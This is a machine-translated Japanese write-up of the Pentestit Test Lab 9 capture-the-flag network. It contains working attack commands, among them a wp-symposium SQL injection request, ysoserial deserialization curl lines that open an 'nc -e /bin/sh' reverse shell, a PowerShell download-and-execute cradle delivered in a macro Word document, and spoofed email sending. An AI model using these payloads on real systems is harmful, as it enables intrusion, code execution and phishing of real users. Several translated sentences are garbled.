5月20日に、Pentestitは、実用的な侵入テストスキルをテストするための新しい9番目のラボを立ち上げました。
研究所は企業ネットワークであり、この組織のネットワークに非常によく似ています。 Pentestitラボのおかげで、常に最新の脆弱性に遅れずについていくことができ、真のペンテスターとして自分を試すことができます。同時に、毎日、実際のネットワークで侵入テストに従事している専門家から学びます。
6月1日までに、実験室は完成しました。13台すべてのマシンと14トークンが取得されました。 これで、まだ実験室を通過できなかった人、現在の脆弱性についてもっと知りたい、または侵入テストの世界に深く入り込みたい人のために、実験室を完全に通過するプロセスを説明する時が来ました。
実験室を通過するプロセスはかなり面倒であり、その説明は長くなりますが、できれば興味深いことです。 さあ始めましょう!
免責事項
私はPentestitの従業員でも関連会社でもありません。 このドキュメントでは、研究室でのタスクを解決するために行った手順について説明します。 私の個人的な推奨事項と好みは、Pentestitの公式意見とはまったく関係ありません。
このドキュメントのすべての情報は、教育目的でのみ提供されています。 この文書を読み続けることで、あなたはこの情報を違法な目的に使用しないことに同意し、この文書の情報を通じて得られた行動または知識に対してあなたとあなただけが完全に責任があることを確認します。 このドキュメントの作成者とPentestitは、このドキュメントを読んだ結果得られた知識と方法を使用した結果として誰かに生じた損害について責任を負いません。
このドキュメントのすべての情報は、教育目的でのみ提供されています。 この文書を読み続けることで、あなたはこの情報を違法な目的に使用しないことに同意し、この文書の情報を通じて得られた行動または知識に対してあなたとあなただけが完全に責任があることを確認します。 このドキュメントの作成者とPentestitは、このドキュメントを読んだ結果得られた知識と方法を使用した結果として誰かに生じた損害について責任を負いません。
実験室への接続
開始する前に、ラボに登録し、VPN接続を設定して、CyBear32C仮想企業ネットワークに接続する必要があります。
ここに登録し 、接続するためにこれらの指示に従ってください 。
テストのために、 Kali Linuxを仮想マシンにインストールできます。これは、ペンテスター向けの特別なLinuxディストリビューションで、作業に必要なものがすべて揃っています。 あなたがそうしていなければ、今がその時です。
テストを開始
登録と接続後、次のネットワーク図が表示されます。
VPN接続は舞台裏に残り、その後、CyBear32Cの唯一の外部IPである192.168.101.8にアクセスできます。これは実際にはインターネットへのゲートウェイになります。 通常どおり、列挙、特にポートスキャンから始めて、内部サブネットのどのサービスが外部からアクセス可能かを判断します。
簡単なポートスキャンから始めましょう。
ご覧のとおり、メインサイトサーバー(ポート80)、メールサーバー(25、8100)、ssh(ポート22)など、さまざまな内部マシン(ネットワークダイアグラムを参照)からあらゆるサービスにアクセスできます。 さらに、httpsリソースとプロキシサーバーもあります。
MAINSITEの学習
アドレス192.168.101.8に移動することから始めましょう:
自動的にwww.cybear32c.labにリダイレクトされます。これを詳しく見てみましょう。
Location: http://cybear32c.lab
ヘッダーを取得します
Location: http://cybear32c.lab
会社のWebサイトが実際に利用できる仮想ホスト。
目的のドメインを
/etc/hosts
追加して、再試行します。
素晴らしい、サイトは立ち上がっており、あなたはそれを勉強し始めることができます。 それが何であるかを理解してみましょう。 サイトの探索を手動で開始する前に、whatwebユーティリティを実行してからdirbを実行すると、サブディレクトリがどれであるかを判断できます(niktoなどの他のスキャナーを使用できます)。
すべての要求の応答コードは403であることがわかります-サイトはおそらくWAFによって保護されています。 すべてがブラウザで機能するため、ユーザーエージェントを置き換えて、興味深いページを見つけようとします。
同時に、サイトを見ると、これがWordpressであり、WAFで保護されていることがわかります。 / adminページにアクセスすると、プライベートなwp-login.phpに移動します。
Wordpressサイト用の優れたwpscanユーティリティがあり、脆弱性のあるプラグインをチェックできます。 まず、必要なユーザーエージェントを代用して、サイトの一般情報を調べます。 彼はすぐに、SQLインジェクションに対して脆弱なwp-symposium v15.1プラグインなど、いくつかの問題を発見しました。
現在、リンクによるエクスプロイトを使用して、各脆弱性を悪用しようとしています。 残念ながら、WAFが起動し、SQLへのペイロードを持つクエリは失敗します。 それを回避してみましょう...
WAFバイパス
多くの場合、多くのWebアプリケーションファイアウォールは攻撃シグネチャを使用します。これは、構文をわずかに変更することで回避できます。 WAFのバイパスは、多くの本や記事に当てることができる別個の深刻なトピックです。
残念ながら、これらのオプションは機能しませんでした。 ポート3128のプロキシを思い出して、それを介して動作するようにブラウザを設定してみましょう。
プロキシ要求の承認:
ここでは、同じサイトに表示される[お問い合わせ]列のデータが役立ちます。
辞書と2つのアカウントでテキストファイルを作成します:b.muncyとr.diaz、パスワードを見つけようとします。
頑張って! 次に、プロキシを介してサイトに再度アクセスしてログインします。 この場合の結果はすでに異なって見えます(サイトは内部IP 172.16.0.5でもアクセス可能ですが、他の内部サービスはまだ利用できません):
このサイトは不正行為について語らなくなりました。WAFをうまく回避しました。
Wordpressプラグインの脆弱性を悪用する
これで、サイトと潜在的な脆弱性をより詳しく調べることができます。 これは直接行うことができますが、私はBurp Repeaterを使用する方が便利です。 最初に、アップストリームプロキシ経由で接続を構成する必要があります。
[ユーザーオプション]タブで、アップストリームプロキシサーバーを追加し、ホストの受信データを入力し、Burpプロキシでブラウザーを構成し、wpscanで見つかったさまざまなエクスプロイトを試行します。
この同じ機能により、プロキシ認証を直接サポートしないユーティリティを使用できます。 そのようなものが必要な場合、127.0.0.1:8080をプロキシとして示すだけで十分です。
いくつかのオプションを試したところ、SQLインジェクションの1つがトリガーされることがわかります。
GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1
MySQLのバージョン番号を取得します。
結果:5.5.49-0 + deb8u1。
ポイントは小さい-sqlmapを使用してこの脆弱性を悪用することは残っています。
この場合、注入は列名で行われるため(通常の値ではなく)、ペイロード(
' -- '
)の後にサフィックスを指定することが重要です。これにより、sqlmapはこの特定のタイプの注入に集中します。 これが行われない場合、sqlmapはインジェクションのタイプを誤ってブラインドと判断する可能性があり、この場合、データを引き出すのは非常に困難で長くなります。
--dbsオプションを使用して、使用可能なデータベースを取得します。
次に、テーブル(
-D tl9_mainsite --tables
):
そして、次のコマンドでwp_tokenテーブルからデータを取得するだけです。
トークンバイパス
ポートスキャン中に、ポート443でhttpsリソースも見つかりました。簡単な分析とdirbユーティリティでは、何も興味深い結果は得られませんでした。
リソースはhttps経由で利用できますが、明らかに開発中であり、長い間更新されていません。 2014年に心血を流す脆弱性をチェックしましょう。
サービスは脆弱です! 操作には、 ここからスクリプトを使用します 。 たくさんの
誰かがそこに行き、古いバックアップをダウンロードしました。 これも行ってみましょう。
ここにトークンがあり、それにいくつかの新しいアカウントとパスワードのハッシュがあります。 ハッシュからパスワードを回復しようとします(Apache apr1 hashcat hashcatは番号1600未満になります):
メインサイトから既知のパスワードb.muncyと、他のアカウントの残りのパスワードを取得します。
見つかったすべての資格情報とパスワードを記録しておくと、将来それらを確認して、新しい目標をすばやく学習できるため、非常に便利です。 企業ネットワーク上のユーザーのパスワードは、サービス間で繰り返される可能性があります。
攻撃ssh
前の発言にもかかわらず、残念ながら、これまでに見つかったパスワードはどれもメールに近づいていません(通常、企業ネットワークの奥深くに移動すると非常に良い結果が得られます)。 問題ではありません。ポート22でSSHに接続してみてください。 次の図を試してみます。
SSH経由で接続する場合のかなり珍しい状況:明らかに、認証に独自のモジュールを使用します。 さらに、システムが最初に「パスワード」を要求し、次に「パスワード」も要求するという事実に注目します。
さまざまな組み合わせで見つかったすべての資格情報を試します-無駄に。
メールもSSHも望ましい結果をもたらさず、利用可能な他のサービスがないため、明らかに何かを見逃しました。 SSHは、企業ネットワークにアクセスして前進できるという点でも重要であるため、SSHに集中することに関心があります。
スクリプトの作成者であるPam©krakenwaffeをもう一度試してみてください。標準的なものではありません。
Googleでそれを探しています。まもなくGithubでkrakenwaffe開発者アカウントが見つかります。これはcybear32cでも動作します-おもしろい!
特定のDavidの貢献を調べてみると、github.com / krakenwaffe / eyelog / blob / master / mypam.cにあるmypam.cという単一のファイルがあります。 コードをすばやく分析すると、これがまさにログインしようとしているモジュールであり、「パスワード」を要求するモジュールであることが明らかになります。
ルートの下に入ることはできません。次はどうなるかがわかります...次のセクションが注目を集めます。
入力したパスワードが
daypass<><>
と比較されることが
daypass<><>
ます。 ドキュメントのこの部分を書いている時点で、現在の値、つまり「daypass80」を置き換えようとしています。
それでも動作しません。 次に、Github-David Nashを介してパスワードを共有した開発者の名前を思い出します。 d.nashの下に移動しようとします。
わかった! SSHサーバーに行きました。 周りに何があるか見てみましょう:
.sshフォルダー内のトークンに加えて、他のサーバーに接続するための秘密キーも確認します(known_hostsファイルを操作することで確認できます)。将来的には確実に役立ちます。
これで、次の攻撃の橋頭aとなり、CyBear32C企業ネットワーク全体に直面しています。
次のステップ
SSHを取得した後、ネットワーク上の他のすべてのコンピューターにアクセスできます。 どこから始めますか? まず、nmapを使用して3つのサブネットすべてをスキャンし、親切にSSHサーバーで直接提供され、利用可能なサービスを調査する価値があります。
この段階で、Windowsマシンと開発サーバーを除くほぼすべての内部リソースが攻撃に利用できるようになります。ポートを転送して試すことができます。
ポート転送
新しく出現したSSH接続を介して内部ネットワークへの便利なアクセスを提供するには、さまざまな方法があります。
まず、 「ピボットまたはポート転送」という記事を読むことをお勧めします。
さらに、標準のSSHクライアントの興味深い機能を知っておくと便利です。セッションを再起動せずにポート転送を行い、コマンドラインにパラメータを追加します。
これを行うには、Shift +〜+ Cのキーの組み合わせを押して、コマンドモードに移動します。
必要なコマンドを入力すると、ポート8086から127.0.0.1を経由して、サーバー192.168.0.6(写真)の80番目のポートにアクセスできます。
写真ホスティングとファイルのアップロード
フォトサーバーは、ファイルをダウンロードするためのフォームを提供しますが、これには脆弱性があります。
開発者の観点から見ると、ファイルのアップロードを安全にすることは非常に困難です。多くの攻撃ベクトルが存在する可能性があります。ファイル拡張子、MIMEタイプ、ファイルを処理するライブラリの脆弱性、競合状態、またはその他の問題。
まず、サイトの内容を確認しましょう。
同時に、dirbを実行して、Webサーバー上の隠しディレクトリを確認します。
アップロードディレクトリはサーバー上で直接利用できます。無害な画像をアップロードして、ファイルがこのフォルダーに保存されていることを確認してください。
そうです、google.pngが利用可能です。 サイトには写真のサイズが表示されていることに注意してください。明らかに何らかの分析があります。 PHPファイルをロードしようとします。
MIMEタイプと拡張子の変更は役に立ちません:
興味深いことに、これは2つのヒントを一度に提供します。まず、ファイルを最初にダウンロードしてから削除し、時間内にプルすることができます。次に、画像が存在することをもう一度確認します。 (明らかに
getimagesize()
を使用します。これは、たとえばGIFヘッダーを追加することでだまされる可能性があります)。 次のfile.jpgファイルで再試行します。
ファイルは正常にダウンロードされ、利用可能です:
しかし、残念ながら、それは満たされていません。 phpが機能しないため、さまざまな拡張子を持つこのファイルをダウンロードしようとします:.htaccess、.php5、.phtml、および.pht-最後のオプションが機能します! 以下も実行します。
次に、シェルを取得する必要があります。 これを行うには、SSHサーバーでncを使用してリッスンし、ファイルを参照します。
そして、接続を正常に取得します。
アップロードフォルダー内の非表示のサブディレクトリでトークンを見つけることができます。
ところで、興味のために、ソースを調べることができます:
ファイルが最初にフォルダーに保存され、次にチェックされるだけであることがわかります。つまり、私たちが悪用した脆弱性に加えて、競合状態もあります。
サーバー上のトークンとこのコードに加えて、興味深いものは何もないため、続行します!
FTPを学ぶ
nmapを使用してサーバー172.16.0.4をスキャンすると、開いている21番目のポート(ftp)と22番目のポート(ssh)が見つかります。 当然、sshキーを使用した入力は機能しないため、FTP自体に集中します。
ProFTPD 1.3.5には、認証なしでファイルをコピーすることに関する既知の脆弱性があります。これは、Webサーバー経由で悪用される可能性があります。たとえば、/ etc / passwdにコピーします。
問題は、このマシンでWebサーバーが実行されていないことです... FTPサーバーに接続してみましょう。
匿名ログインが利用可能で、distフォルダーにサーバーのソースがあります。 興味深いことに、それらはおそらく理由のためにレイアウトされていたので、私たちはそれらを研究しようとします。 ftpクライアント(lcdおよびgetコマンド)を使用してproftpd-dfsg-1.3.5.tar.bz2アーカイブをダウンロードして解凍し、コードの変更を探します。 CYBEAR部分文字列を探すことから始め、次にsrc / help.cファイルを見つけます。
ProFTPDに対する攻撃中に、同様のバックドアがバージョン1.3.3cに組み込まれました。
提供されているバックドアを使用してみましょう!
/ homeフォルダーには、興味深いファイルのセットがすべてあります。
「古い」フォルダー内のトークンに加えて、次のことがわかります。
- 新しいm.barryアカウント、
- フォルダーm.barryのテストスクリプト/ upload / test_scripts、
- パスワード付きのCiscoルーター構成ファイル、
- パスワードがm.barryで、サーバーdevがFTPからtest_scriptsフォルダーからすべてのpythonスクリプトをダウンロードし、場合によってはそれらを起動することを示すtrouble.capファイル。
残念ながら、単にファイルをtest_scriptsに入れることは不可能です。十分な権限がないため、先に進み、開発サーバーを攻撃する別の方法を探す必要があります。
最速のトークン-CISCO
見つかった情報を使用して、ciscoから始めましょう。すでにパスワードがあります。 ネットワーク図に従ってIPを呼び出し、入力を試みます。
すぐにトークンを入手してください! イネーブル3のハッシュを削除してみましょう。
パスワードを見つけて試して、特権モードを取得します。
すべて準備完了です。 ルーターの構成ファイルでは、トラフィックを監視できます。
これらのコマンドを使用して、このサブネット(つまり、ポータル)を通過するトラフィックを調べることができます。
結局のところ、さまざまな方法で実験室を通過する機会があり、私は個人的に交通監視を必要としませんでした。 したがって、私はこの部分を独立した研究のために残して先に進むことを提案します。
NASおよび保護されていないバックアップ
さまざまなサブネットの調査を続けると、NASサーバーに遭遇します。
オープンポート3260は、iscsiへの接続の可能性を示唆しています。 情報セキュリティの分野でニュースをフォローした場合、おそらくイタリアの会社Hacking Teamのハッキングについて聞いたことがあるでしょう。この場合、CyBear32cのプロトタイプになりました。 ネット上で、攻撃がどのように行われたかについての記事を見つけることができ、そこから多くの興味深いことを学ぶことができます。
ポートをローカルマシンに転送することから始めましょう。
iscsiadmをインストールし、接続を試行します。
接続しようとしましたが、動作しません。
デバッグモードをオンにして、iscsiadmが192.168.0.3に接続しようとしていることを確認します。この場合、サブネット上にはありません。
別のポート転送オプションを試して、 sshuttleを使用してみましょう。 したがって、各ポートを個別に転送する必要なく、実際のIPアドレスでサーバーにアクセスできます。 接続します:
接続できた! 次に、表示されるディスクの内容を調べます。
次に、このvmdkも接続する必要があります。
63 * 512バイト、つまり32,256のオフセットでディスク上で開始します。
その後、Kaliは現在のディスクを自動的に検出し、コンテンツの表示を提案します。
あります! 興味深いものを探して、ユーザーtoken_nas_tokenを見つけましたが、ファイルシステムには直接何もありません。 レジストリデータベースをWINDOWS \ system32 \ configから自分自身にコピーし、保存されたパスワードハッシュを確認します。
長時間ローカルでハッシュを整理しないために、 rainbowtables.it64.comサービスを使用します。 自宅でこれを行うことができますが、サービスの使用はより高速になります。
既存のLMハッシュ(各行のダンプからの最初のハッシュ)を追加し、結果を確認します。 LMハッシュはパスワードを大文字に変換するため、結果を受け取った後、NTLMハッシュを使用して正しい大文字と小文字を復元する必要があります。
すべてのハッシュとそれに対応するパスワードはデータベースにあります。 それらを(大文字で)別のファイルに保存し、オプション-rules = NTでjohnを使用して正しいパスワードを見つけます。
そして、-showオプションを使用してパスワードを取得します。
token_nas_tokenのパスワードには、タスクのトークンが含まれています! そして、d.rectorの新しい資格情報を取得しました。 続けましょう!
ターミナル2
前述のように、ある場所で見つかったパスワードは別の場所で機能する場合があります。 この場合、terminal2サーバーのポートをスキャンすると、開いているRDPが表示されます。
NASのd.rectorの資格情報を使用して接続してみましょう。
トークンはデスクトップ上にあります!
DEVおよびMITM
ローカルサブネット192.168.3 / 24へのアクセスにより、攻撃の新しい機会が開かれます。 ネットワーク図と、FTPサーバーで見つかったtrouble.capファイルを思い出してください。
明らかに、devサーバーはFTPにアクセスし、そこからtest_scriptsフォルダーからすべての* .pyファイルをダウンロードします(trouble.capに見られるように)、ほとんどの場合それらを実行します。 FTPサーバー上のこのフォルダーへのアクセスは、ルートからのみ取得できます。
Intercepter-NGが便利に配置されているターミナルサーバーを自由に使用できるようになったので、MITM攻撃を簡単に整理できます。 やってみましょう!
C:\ Intercepter-NGフォルダーからIntercepter-NGをオンにします。 最初のステップは、ローカルネットワークをスキャンすることです。 テーブルの空の場所を右クリックし、ARPスキャンタイムアウトをもう少し増やしてスマートスキャンを開始する場合に備えてください。
同時に、Intercepterはサブネット内のARP要求を送信して、その中に存在するホストを特定し、それぞれにインストールされているOSを特定しようとします。
さて、2つのホストが定義されました。
ステルスIPは、MITM攻撃を実行するためにインターセプターによって使用される存在しないIPアドレスです。
クライアントとサーバーは異なるサブネット上にあるため、ゲートウェイを介して互いに通信します。 NATに3.3を追加し、ゲートウェイとして3.254を追加します。
並行して、アップロードフォルダーの代わりに、devが入るFTPサーバー上にパパを作成する必要があります。 Intercepter-NGは同じ長さの回線のトラフィックのみを置換できるため、名前には「アップロード」と同じ数の文字を含める必要があります。
もちろん、test.pyスクリプトでは、ペイロードを配置します-ポート6666の172.16.0.2への逆シェル:
インターセプターの構成:
トラフィックチェンジャーはアップロードを.uploaに置き換えます。したがって、m.barryがCWDアップロードを行うと、.uploaディレクトリに移動し、そこからスクリプトをダウンロードして、逆シェルを作成します。
SSHでリスニングパートをオンにします。
そして、3つのボタンを押して、Incercepterをオンにします。最初に、右上の一般的なスニッフィング、次にNAT、次にARPポイズンを選択します。
しばらくしてからシェルを取得します。
同時に、devサーバートークン:
「Tragick」サイトテスト
次に、サイトテストサーバーに注目しましょう。 実験室のWebタスクではいつものように、whatwebとdirbを試して、サーバー上にあるものを見つけましょう。
このサイトはPHP laravelフレームワークで記述されており、積極的にサポートされています。 さらに、詳細なエラーログが含まれています。
ここから、サーバー上の内部パスに関する情報を取得できます。これは、たとえばSQLインジェクションなどで役立ちます。 しかし、この場合、それはあまり役に立ちません...
dirbはすぐに次の利用可能なURLを見つけ始めます:
管理パネルでの研究室の通過中に既に収集されたすべての資格情報の試行に失敗したので、写真アップロードフォームに切り替えます。
画像を再度ダウンロードしますが、これらの画像がどこにスタックされているかを見つけることができません(しばらくすると/アップロードフォルダもdirbユーティリティによって検出されますが、その中のファイルには元の名前ではアクセスできません)。
ImageTragickと呼ばれるImageMagickの脆弱性を試してみましょう。
ロード用のファイルを作成します。
そして、SSHサーバーのポート1234にncを含めます。 フォームに入力し、上記のテキストコンテンツを含むoops.jpgファイルをアップロードします。
これが接続です! ルートフォルダー(cd /)にtoken.txtがあります。
PORTALを開く
ポータルサーバーを調べてみましょう。 ポートスキャンから始めましょう。
ポート8080が発見されました。実際にポータルにアクセスします:
以前に見つかったものとは異なるパスワードを試します。たとえば、ログインt.smithとそのパスワードが適しています。ターミナル2とここで、パスワードはすでに2回再利用できます。
休暇ページと新しい資格情報を
取得します。a.petrovログインのログインまたはパスワードの取得は失敗します。次に、Cookieに注意を払い
ます。base64のように見えます。デコード:
これは、ユーザー名とパスワードのハッシュがmd5の形式で格納されるJavaオブジェクトです。名前a.petrovを「スリップ」しようとします-機能しません。
オブジェクトがクライアントに到着し、サーバーに復元されると、この方向で掘り下げようとします。
オブジェクトをbase64文字列からバイナリ形式に復元してからメモリに復元する(逆シリアル化)際に、最近実証された機能があります任意のコードの実行。このような脆弱性は、たとえばジェンキンスにありました。操作のために、ysoserialユーティリティを使用しようとします。
指示を読んだ後、ユーティリティを使用してサーバー上で任意のコマンドを実行できることが明らかになります。 Javaオブジェクトを生成し、逆シリアル化中
に必要なコマンド(つまり、この場合は逆シェル)を実行します。
ysoserialによって生成されたコンテンツをbase64 cookieの形式でbashに送信する便利な小さなコマンドを作成し
curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'
ます。実行中にエラーが発生し
ます。開発者のgithubで同じ問題を直接見つけます。
リポジトリですでに修正されていますが、まだリリースにコンパイルされていません。新しいバージョンをgithubでクローンし、mavenをインストールしてローカルに収集します。必要なファイルを取得します!コマンドを新しいペイロードCommons-Collections5に更新します。sshサーバーで、通常どおり、ポート1235でリッスンし、実行を開始するnetcatを実行します。待望のシェル。ルートフォルダーにtoken.txtが見つかりました:そして、別のトークンが壊れました!ポータルを少し調べてみると、crontabで興味深いものが見つかりました。メールチェックスクリプトです。何が入っているのか見てみましょう。メールのユーザー名とパスワードb.muncy!それで、メールタスクに近づきました。
apt-get install maven
git clone https://github.com/frohoff/ysoserial.git
mvn compile package
curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'
Roundcubeメール
研究所では、多くの脆弱性が存在するRoundcubeサーバーを使用していますが、このバージョンではすべての既知の脆弱性がすでに修正されています。
反対側から試してみましょう。 b.muncyからのパスワードでメールにアクセスします:
メールボックスは空です。しかし、メールを自動的にチェックするロボットがポータルにあったため、すでに認識した他のアカウントにメッセージを送信しようとします。
それらの1つ-r.diaz-手紙に答えます!私たちは彼に何か他のものを送ろうとしています。
そして、答えが得られます。
ボットと通信した後、ソーシャルエンジニアリングを適用する必要があることが明らかになります。さまざまなファイルをボットに送信しようとしています:PDF、Wordドキュメントなど。そして今、ボットはこれらの出荷のいずれかに反応します!
添付ファイルでWord文書を送信すると、トークンと、r.lampman-aからのファイルのみを開くことができるというメッセージが送信されます。やってみよう!
ターミナル
ターミナルサーバーではrdpのポート3389が閉じられており、残りのポートには何も興味深いものはありません。どこにいても、r.diazはWord文書を隠して開きます!
Microsoft Security Essentialsはターミナル2サーバーと同じようにターミナルサーバーにインストールされていると想定し、ドキュメントを送信する前に同じウイルス対策を使用してWindowsをローカルにインストールしてテストしました。
この場合、攻撃は多段階です。ターミナルでセッションを取得するには、次のものが必要です。
- r.lampmanからr.diazに手紙を送ることを学びます(メール用のパスワードはありません)。
- 逆シェルペイロードを含むドキュメントを生成します
- Microsoft Security Essentialsウイルス対策をバイパスする
- コンピューターのポート443でリスナーを有効にします(ネットワーク内から80と443のみが開いています)。
手紙を送る
パスワードb.muncyを使用して、r.lampmanに代わってr.diazに自動的に文字を送信するスクリプトを作成してみましょう。
これを行うには、FROMフィールドで目的のアドレスを置き換えます。
ここで、いくつかのことが重要です。
- FROMフィールドの値を目的の値に置き換え、
- Wordドキュメントが送信されていることが明確になるように、正しいMIMEタイプに置き換えます
- 送信中に劣化しないように、ドキュメントをbase64でエンコードすることを忘れないでください。
- ポート587を172.16.0.1からローカルマシンに転送します。
ペイロードを形成します
次に、ウイルス対策ソフトによって感染として検出されないWord文書を作成する必要があります。何度も失敗した後(実際の攻撃の前に環境でテストするのが便利です)、実際に動作するバージョンを見つけることができました。
ペイロード全体をすぐにドキュメントに保存するのではなく、サーバーからダウンロードできるようにします。これを行うには、次の
手順を実行します。1. setoolkitを使用してペイロードを作成し
ます。オプション1(ソーシャルエンジニアリング攻撃)、9(Powershell Attack Vectors)、1(Powershell Alphanumeric Shellcode Injector)を選択します:
ローカルマシンでWebサーバーを実行し、受信したペイロードをコピーします/root/.set/reports/powershellから/var/www/html/payload.txtへ:
ファイルが使用可能であることを確認します
。2.文書を作成します
この記事で説明したこのスタートアップオプションを使用しました。
示されているように、ペイロードダウンロードコマンドを難読化する必要があります。
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_ip>/payload.txt'))"
これを行うには、こちらの記事からJavaアプレットを使用できます。実行:
Enter:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_pentestit_ip>/payload.txt'))"
結果を取得し、ドキュメントに貼り付けます。念のためDocument_Open()を追加しました。
マクロを追加するときは、通常のテンプレートではなくドキュメントに保存することが重要です。
ドキュメントを拡張子docmで保存し、senddoc.pyスクリプトを使用してフォルダーに配置すると、最後の手順が残ります。
3. Metasploitを起動
する開始する前に、小さな「チェックリスト」をもう一度確認します。
- ペイロードはyour_ip / payload.txtで入手できます。
- 172.16.0.1のポート587はローカル127.0.0.1に転送され、
- ドキュメントは、メールを送信するためのスクリプトと一緒にフォルダ内にあります。
発射!
そして一分後:
C:\ Users \ r.diaz \ Desktopに移動してトークンを取得します!
SSH-TEST-最後の障壁
最後のサーバーは残りますが、ネットワーク上でこれまでのところ手がかりは見つかりませんでした。すべてのポートをスキャンした結果、いずれのポートも応答しないと判断しました。
さらに、3つを除くすべてがRSTパケットで応答し(クローズ)、3つは単に到着したすべてのパケットを破棄します。
これは、ポート22(ssh)がしばらくの間正しく接続され、接続できるようにポート22(ssh)が開くことを期待して、これらのポートを「ノック」する必要があることを示唆しています。
ちなみに、sshサーバーでは、パッセージの最初の段階で、ユーザーd.nashの.sshフォルダーにキーが見つかりました。
確かにここで役立ちます。したがって、目的のポートをノックするには、次の
手順を実行します。sshuttleを実行して、サーバーに直接アクセスします。
インターネットアクセスが維持されるように、目的のサブネットを指定すると便利です。
d.nash id_rsaキーをディスクにコピーし
ます。ノックユーティリティをインストールします。必要なポートをノックします。
これら3つのポートの6つの組み合わせを試し、そのうちの1つが動作するようにします。
これが最後のトークンです!研究室合格。
あとがき
このドキュメントでは、ラボを通過する1つの方法について説明します。私は多くの選択肢があると確信しています。ここで言及していない特定の問題を解決するための興味深い方法を知っているなら、コメントでそれを知ってうれしいです。
この記事が、まだペンテストに参加していない人たちが情報セキュリティの世界に飛び込み、実際の実際のテストに挑戦するのに役立つことを願っています。
ラボは11月まで利用できるため、トレーニングに十分な時間があります。この記事は、開始に役立ちます。その過程でgiveめないでください、そして彼らが言うように:もっと頑張ってください。
頑張って